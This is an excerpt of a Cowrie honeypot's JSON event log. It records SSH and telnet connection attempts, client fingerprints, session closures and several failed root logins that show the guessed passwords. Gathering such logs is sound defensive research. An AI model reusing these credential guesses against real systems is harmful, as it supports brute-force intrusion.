{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:02.574785Z","src_ip":"193.32.162.145","session":"86fd782b652c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23047087493","protocol":"telnet","message":"New connection: 192.119.13.58:58142 (10.17.0.5:23) [session: d23047087493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:03.379385Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"533d028b80fe","protocol":"telnet","message":"New connection: 192.119.13.58:60578 (10.17.0.5:23) [session: 533d028b80fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:03.975933Z"}
{"eventid":"cowrie.session.closed","duration":44.912755250930786,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:06.211085Z","src_ip":"192.119.13.58","session":"fd1dad249822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":32144,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e26e29776fd","protocol":"ssh","message":"New connection: 94.26.106.252:32144 (10.17.0.5:22) [session: 1e26e29776fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.140538Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.147271Z","src_ip":"94.26.106.252","session":"1e26e29776fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":32154,"dst_ip":"10.17.0.5","dst_port":22,"session":"0965e88c468f","protocol":"ssh","message":"New connection: 94.26.106.252:32154 (10.17.0.5:22) [session: 0965e88c468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.275991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.282778Z","src_ip":"94.26.106.252","session":"0965e88c468f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.367083Z","src_ip":"94.26.106.252","session":"0965e88c468f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd","message":"login attempt [root/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:07.555931Z","src_ip":"94.26.106.252","session":"0965e88c468f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49500,"dst_ip":"10.17.0.5","dst_port":23,"session":"772d77cc7530","protocol":"telnet","message":"New connection: 192.119.13.58:49500 (10.17.0.5:23) [session: 772d77cc7530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:08.343302Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:08.642667Z","src_ip":"94.26.106.252","session":"0965e88c468f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":32780,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a82ff9f6c3","protocol":"ssh","message":"New connection: 122.51.73.24:32780 (10.17.0.5:22) [session: 68a82ff9f6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:15.875326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:15.885050Z","src_ip":"122.51.73.24","session":"68a82ff9f6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:16.338760Z","src_ip":"122.51.73.24","session":"68a82ff9f6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zy123456789","message":"login attempt [root/Zy123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:17.909683Z","src_ip":"122.51.73.24","session":"68a82ff9f6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0707cfa974","protocol":"telnet","message":"New connection: 192.119.13.58:33878 (10.17.0.5:23) [session: 0c0707cfa974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:18.268082Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:19.150766Z","src_ip":"122.51.73.24","session":"68a82ff9f6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71781325340271,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:19.580135Z","src_ip":"192.119.13.58","session":"c3bcdecdc073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":53442,"dst_ip":"10.17.0.5","dst_port":22,"session":"17017228ec1d","protocol":"ssh","message":"New connection: 175.118.127.138:53442 (10.17.0.5:22) [session: 17017228ec1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.592605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.601497Z","src_ip":"175.118.127.138","session":"17017228ec1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":37098,"dst_ip":"159.203.135.109","dst_port":22,"session":"308b1244ee17","protocol":"ssh","message":"New connection: 150.109.25.130:37098 (159.203.135.109:22) [session: 308b1244ee17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.640095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.645631Z","src_ip":"150.109.25.130","session":"308b1244ee17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.780447Z","src_ip":"175.118.127.138","session":"17017228ec1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.885484Z","src_ip":"150.109.25.130","session":"308b1244ee17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"b640d49a3058","protocol":"telnet","message":"New connection: 192.119.13.58:32904 (10.17.0.5:23) [session: b640d49a3058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:24.943901Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34356,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8546c2e59a7","protocol":"telnet","message":"New connection: 192.119.13.58:34356 (10.17.0.5:23) [session: b8546c2e59a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:25.288953Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe,./","message":"login attempt [root/123qwe,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:25.527644Z","src_ip":"175.118.127.138","session":"17017228ec1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wakeup","message":"login attempt [root/wakeup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:25.874920Z","src_ip":"150.109.25.130","session":"308b1244ee17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.218885898590088,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:26.162647Z","src_ip":"192.119.13.58","session":"b640d49a3058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:26.713315Z","src_ip":"175.118.127.138","session":"17017228ec1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:27.117739Z","src_ip":"150.109.25.130","session":"308b1244ee17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35294723510742,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:27.266215Z","src_ip":"192.119.13.58","session":"9547a6b0cce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89624238014221,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:28.997803Z","src_ip":"192.119.13.58","session":"4d38a987208f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.55955410003662,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:29.842640Z","src_ip":"192.119.13.58","session":"d0c7eb5fff7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52798,"dst_ip":"10.17.0.5","dst_port":23,"session":"02232d125fa5","protocol":"telnet","message":"New connection: 192.119.13.58:52798 (10.17.0.5:23) [session: 02232d125fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:29.871561Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54786,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a3898a44c50","protocol":"ssh","message":"New connection: 103.183.114.55:54786 (159.203.135.109:22) [session: 4a3898a44c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:33.175147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:33.181749Z","src_ip":"103.183.114.55","session":"4a3898a44c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:33.410431Z","src_ip":"103.183.114.55","session":"4a3898a44c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.44814848899841,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:33.903383Z","src_ip":"192.119.13.58","session":"4d6db5835a40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sophie","message":"login attempt [root/sophie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:34.093272Z","src_ip":"103.183.114.55","session":"4a3898a44c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.39812779426575,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:34.205000Z","src_ip":"192.119.13.58","session":"f156c794fa37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45722,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fe6aaee274","protocol":"telnet","message":"New connection: 192.119.13.58:45722 (10.17.0.5:23) [session: 30fe6aaee274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:35.204800Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:35.332554Z","src_ip":"103.183.114.55","session":"4a3898a44c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.82078003883362,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:36.017366Z","src_ip":"192.119.13.58","session":"11a77099d217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53268,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc6adec226ce","protocol":"telnet","message":"New connection: 192.119.13.58:53268 (10.17.0.5:23) [session: bc6adec226ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:37.148208Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe21d9f246f","protocol":"telnet","message":"New connection: 192.119.13.58:59392 (10.17.0.5:23) [session: 4fe21d9f246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:38.558831Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34500,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a68dcf9b034","protocol":"telnet","message":"New connection: 192.119.13.58:34500 (10.17.0.5:23) [session: 0a68dcf9b034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:39.401289Z"}
{"eventid":"cowrie.session.closed","duration":45.73841905593872,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:40.330586Z","src_ip":"192.119.13.58","session":"88d1e2188799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.63296842575073,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:43.608766Z","src_ip":"192.119.13.58","session":"533d028b80fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57294,"dst_ip":"10.17.0.5","dst_port":23,"session":"182de4a9a7b4","protocol":"telnet","message":"New connection: 192.119.13.58:57294 (10.17.0.5:23) [session: 182de4a9a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:44.904549Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2a8019dee2","protocol":"telnet","message":"New connection: 192.119.13.58:60746 (10.17.0.5:23) [session: be2a8019dee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:52.408488Z"}
{"eventid":"cowrie.session.closed","duration":50.46370983123779,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:53.842991Z","src_ip":"192.119.13.58","session":"d23047087493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.934165477752686,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:54.277342Z","src_ip":"192.119.13.58","session":"772d77cc7530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.83882236480713,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:56.106772Z","src_ip":"192.119.13.58","session":"0c0707cfa974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.755284547805786,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:57.163635Z","src_ip":"192.119.13.58","session":"be2a8019dee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"67981e1ab122","protocol":"ssh","message":"New connection: 43.134.100.175:46240 (159.203.135.109:22) [session: 67981e1ab122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:58.331870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:58.337726Z","src_ip":"43.134.100.175","session":"67981e1ab122","protocol":"ssh"}
